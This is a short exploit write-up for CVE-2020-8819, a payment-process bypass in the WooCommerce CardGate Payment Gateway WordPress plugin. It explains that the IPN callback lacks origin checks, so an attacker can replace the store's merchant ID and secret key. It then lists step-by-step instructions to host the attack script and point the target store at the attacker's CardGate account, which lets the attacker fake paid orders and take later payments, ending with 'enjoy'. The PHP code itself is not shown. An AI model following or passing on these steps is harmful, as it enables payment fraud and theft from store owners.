# Exploit Title: WordPress Plugin WooCommerce CardGate Payment Gateway 3.1.15 - Payment Process Bypass # Discovery Date: 2020-02-02 # Public Disclosure Date: 2020-02-22 # Exploit Author: GeekHack # Vendor Homepage: https://www.cardgate.com (www.curopayments.com) # Software Link: https://github.com/cardgate/woocommerce/releases/tag/v3.1.15 # Version: <= 3.1.15 # Tested on: WordPress 5.3.2 + WooCommerce 3.9.1 + CardGate Payment Gateway Plugin 3.1.15 # CVE: CVE-2020-8819 <?php /* Description: Lack of origin authentication (CWE-346) at IPN callback processing function allow (even unauthorized) attacker to remotely replace critical plugin settings (merchant id, secret key etc) with known to him and therefore bypass payment process (eg. spoof order status by manually sending IPN callback request with a valid signature but without real payment) and/or receive all subsequent payments (on behalf of the store).

Change values of the constants (see below for TARGET & ORDER) 2. Host this script somewhere (must be public accessible) 3. Register a merchant at https://cardgate.com 4. Sign into "My CardGate" dashboard 5. Add fake site or choose existing one 6. Click "Setup your Webshop" button in site preferences 7. Paste the URL of this script into the pop-up window and click "Save" 8. The target store now uses the settings of your site, enjoy :] P.S.
